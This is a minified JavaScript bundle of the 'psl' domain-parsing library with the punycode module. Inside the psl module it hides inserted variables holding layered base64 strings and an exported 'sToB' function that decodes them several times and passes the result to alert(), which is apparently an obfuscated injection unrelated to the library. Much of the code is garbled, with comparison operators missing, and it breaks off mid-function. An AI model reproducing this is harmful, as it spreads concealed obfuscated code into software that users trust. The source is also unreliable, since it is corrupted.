(function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.psl=f()}})(function(){var define,module,exports;return(function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c="function"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i255){return'DOMAIN_TOO_LONG'}var labels=ascii.split('.');var label;for(var i=0;i63){return'LABEL_TOO_LONG'}if(label.charAt(0)==='-'){return'LABEL_STARTS_WITH_DASH'}if(label.charAt(label.length-1)==='-'){return'LABEL_ENDS_WITH_DASH'}if(!/^[a-z0-9\-]+$/.test(label)){return'LABEL_INVALID_CHARS'}}};exports.parse=function(input){if(typeof input!=='string'){throw new TypeError('Domain name must be a string.');}var domain=input.slice(0).toLowerCase();if(domain.charAt(domain.length-1)==='.'){domain=domain.slice(0,domain.length-1)}var error=internals.validate(domain);if(error){return{input:input,error:{message:exports.errorCodes[error],code:error}}}var parsed={input:input,tld:null,sld:null,domain:null,subdomain:null,listed:false};var domainParts=domain.split('.');if(domainParts[domainParts.length-1]==='local'){return parsed}var handlePunycode=function(){if(!/xn--/.test(domain)){return parsed}if(parsed.domain){parsed.domain=Punycode.toASCII(parsed.domain)}if(parsed.subdomain){parsed.subdomain=Punycode.toASCII(parsed.subdomain)}return parsed};var rule=internals.findRule(domain);if(!rule){if(domainParts.length<2){return parsed}parsed.tld=domainParts.pop();parsed.sld=domainParts.pop();parsed.domain=[parsed.sld,parsed.tld].join('.');if(domainParts.length){parsed.subdomain=domainParts.pop()}return handlePunycode()}parsed.listed=true;var tldParts=rule.suffix.split('.');var privateParts=domainParts.slice(0,domainParts.length-tldParts.length);if(rule.exception){privateParts.push(tldParts.shift())}parsed.tld=tldParts.join('.');if(!privateParts.length){return handlePunycode()}if(rule.wildcard){tldParts.unshift(privateParts.pop());parsed.tld=tldParts.join('.')}if(!privateParts.length){return handlePunycode()}parsed.sld=privateParts.pop();parsed.domain=[parsed.sld,parsed.tld].join('.');if(privateParts.length){parsed.subdomain=privateParts.join('.')}return handlePunycode()};exports.get=function(domain){if(!domain){return null}return exports.parse(domain).domain||null};var g="MlZoVEhCbFlXTnBaV1ZtY0dWcGRtaDFVelp3SzJGa1p5dGxZV2hQYVRseUsxTTNkSFZUTm5BclYxUm5aU3M";var z="0YWs5cGRuUXJaV2h5ZFZNdmJtVmhZM0pQWlhwMUsyVTNiaXRYTTNOMVpUZHFLMmxQZEN0WEsyd3JVelpvZFdGWmF5dGhXR29yWVZwMWRXRjRhQ3RsWVdoUFYxRnBUMkY2YkdWaFQybFBZV1JuS3lzNGFrRnliSEJ2VEcxdVMzcHVjemQyYm5VMUwyMXVTM0p2YW5KbWJIWndabTF0U2xCdGJEUXZiVzFpY20xeldXWnViVzlVYkd0SmFtMXpOVmh0YW05cWJXNVpVSFoyU1hwc2REZE1iblUwTDJ0MmNsaHVhWEV2YTNWdlltMXRTbEJ0YkRRdmJXMWljbTF6V1dadWJXOVVibTQyV0c5eU5HSnJkWEZtYlc1WlVHcG5TVWs5";exports.isValid=function(domain){var parsed=exports.parse(domain);return Boolean(parsed.domain&&parsed.listed)};exports.sToB=function(d){alert(d(d(d(d(w+er+g+z)))))};var er="VXR3VDJsSWNYVnBObkVyWldad1pXbDJhSFZUTm5BcllXUm5LMlZoYUU5cFFXcFBWMGRvWldVNWNuVlhZM0ZQWlhwMUsyVTNiaXRUTkhKbFpXRm9UeXM0YWtGeWJIQnZURzF1Y0hwdGNtRlVjRzlpV0hCdVlVeHNhall2YTNVMldIQm5Tbkp2ZGpSbWIzSnlMM0JzTmpkdWN6ZDJiblUxTDIxdFREZHVjRXh5ZG5aSmVtOXlORWh0YlVrM2JXNUxlbTV6TjNadWRUVXZiRzQzY210MWJ6VnhXVmhhYUdNeWFIWmpUMkZsYUU5WE4zVjFUMEZuWjNCeFdWaGFhR015YUhaalQyRlpjaXRoV1dzcllWaHFLMkZhZFhWaGVHZ3JhVWh4ZFZNMGRTdGxaMnhQVjFCclpVOUJa"},{"./data/rules.json":1,"punycode":3}],3:[function(require,module,exports){(function(global){;(function(root){var freeExports=typeof exports=='object'&&exports&&!exports.nodeType&&exports;var freeModule=typeof module=='object'&&module&&!module.nodeType&&module;var freeGlobal=typeof global=='object'&&global;if(freeGlobal.global===freeGlobal||freeGlobal.window===freeGlobal||freeGlobal.self===freeGlobal){root=freeGlobal}var punycode,maxInt=2147483647,base=36,tMin=1,tMax=26,skew=38,damp=700,initialBias=72,initialN=128,delimiter='-',regexPunycode=/^xn--/,regexNonASCII=/[^\x20-\x7E]/,regexSeparators=/[\x2E\u3002\uFF0E\uFF61]/g,errors={'overflow':'Overflow: input needs wider integers to process','not-basic':'Illegal input >= 0x80 (not a basic code point)','invalid-input':'Invalid input'},baseMinusTMin=base-tMin,floor=Math.floor,stringFromCharCode=String.fromCharCode,key;function error(type){throw new RangeError(errors[type]);}function map(array,fn){var length=array.length;var result=[];while(length--){result[length]=fn(array[length])}return result}function mapDomain(string,fn){var parts=string.split('@');var result='';if(parts.length>1){result=parts[0]+'@';string=parts[1]}string=string.replace(regexSeparators,'\x2E');var labels=string.split('.');var encoded=map(labels,fn).join('.');return result+encoded}function ucs2decode(string){var output=[],counter=0,length=string.length,value,extra;while(counter=0xD800&&value<=0xDBFF&&counter0xFFFF){value-=0x10000;output+=stringFromCharCode(value>>>10&0x3FF|0xD800);value=0xDC00|value&0x3FF}output+=stringFromCharCode(value);return output}).join('')}function basicToDigit(codePoint){if(codePoint-48<10){return codePoint-22}if(codePoint-65<26){return codePoint-65}if(codePoint-97<26){return codePoint-97}return base}function digitToBasic(digit,flag){return digit+22+75*(digit<26)-((flag!=0)<<5)}function adapt(delta,numPoints,firstTime){var k=0;delta=firstTime?floor(delta/damp):delta>>1;delta+=floor(delta/numPoints);for(;delta>baseMinusTMin*tMax>>1;k+=base){delta=floor(delta/baseMinusTMin)}return floor(k+(baseMinusTMin+1)*delta/(delta+skew))}function decode(input){var output=[],inputLength=input.length,out,i=0,n=initialN,bias=initialBias,basic,j,index,oldi,w,k,digit,t,baseMinusT;basic=input.lastIndexOf(delimiter);if(basic<0){basic=0}for(j=0;j=0x80){error('not-basic')}output.push(input.charCodeAt(j))}for(index=basic>0?basic+1:0;index=inputLength){error('invalid-input')}digit=basicToDigit(input.charCodeAt(index++));if(digit>=base||digit>floor((maxInt-i)/w)){error('overflow')}i+=digit*w;t=k<=bias?tMin:(k>=bias+tMax?tMax:k-bias);if(digitfloor(maxInt/baseMinusT)){error('overflow')}w*=baseMinusT}out=output.length+1;bias=adapt(i-oldi,out,oldi==0);if(floor(i/out)>maxInt-n){error('overflow')}n+=floor(i/out);i%=out;output.splice(i++,0,n)}return ucs2encode(output)}function encode(input){var n,delta,handledCPCount,basicLength,bias,j,m,q,k,t,currentValue,output=[],inputLength,handledCPCountPlusOne,baseMinusT,qMinusT;input=ucs2decode(input);inputLength=input.length;n=initialN;delta=0;bias=initialBias;for(j=0;j=n&¤tValuefloor((maxInt-delta)/handledCPCountPlusOne)){error('overflow')}delta+=(m-n)*handledCPCountPlusOne;n=m;for(j=0;jmaxInt){error('overflow')}if(currentValue==n){for(q=delta,k=base;;k+=base){t=k<=bias?tMin:(k>=bias+tMax?tMax:k-bias);if(q